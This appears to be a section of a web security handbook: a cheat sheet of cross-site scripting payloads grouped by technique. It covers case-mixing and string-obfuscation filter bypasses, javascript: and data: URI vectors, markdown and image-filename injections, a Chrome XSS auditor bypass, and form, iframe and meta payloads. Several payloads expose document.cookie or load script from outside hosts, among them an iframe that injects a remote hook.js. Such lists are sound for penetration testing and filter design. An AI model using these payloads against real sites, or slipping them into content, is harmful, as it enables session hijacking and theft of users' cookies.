4.2.10. Payload¶

4.2.10.1. Commonly used¶

<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>

4.2.10.2. Case Bypass¶

<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert("M")">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>

4.2.10.3. Various alert¶

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

4.2.10.4. Pseudo-protocols¶

<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>

4.2.10.5. Chrome XSS auditor bypass¶

?param=https://&param=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>

4.2.10.6. Length restrictions¶

<script>s+="l"</script>
\...
<script>eval(s)</script>

4.2.10.7. jquery sourceMappingURL¶

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

4.2.10.8. Image name¶

"><img src=x onerror=alert(document.cookie)>.gif

4.2.10.9. Expired payloads¶

src=javascript:alert is basically unavailable
The css expression feature is only available in older versions of ie

4.2.10.10. css¶

<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

4.2.10.11. markdown¶

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

4.2.10.12. iframe¶

<iframe onload='
    var sc   = document.createElement("scr" + "ipt");
    sc.type  = "text/javascr" + "ipt";
    sc.src   = "http://1.2.3.4/js/hook.js";
    document.body.appendChild(sc);
    '
/>

<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/onload=alert(1)>></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe

4.2.10.13. form¶

<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>

4.2.10.14. meta¶

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">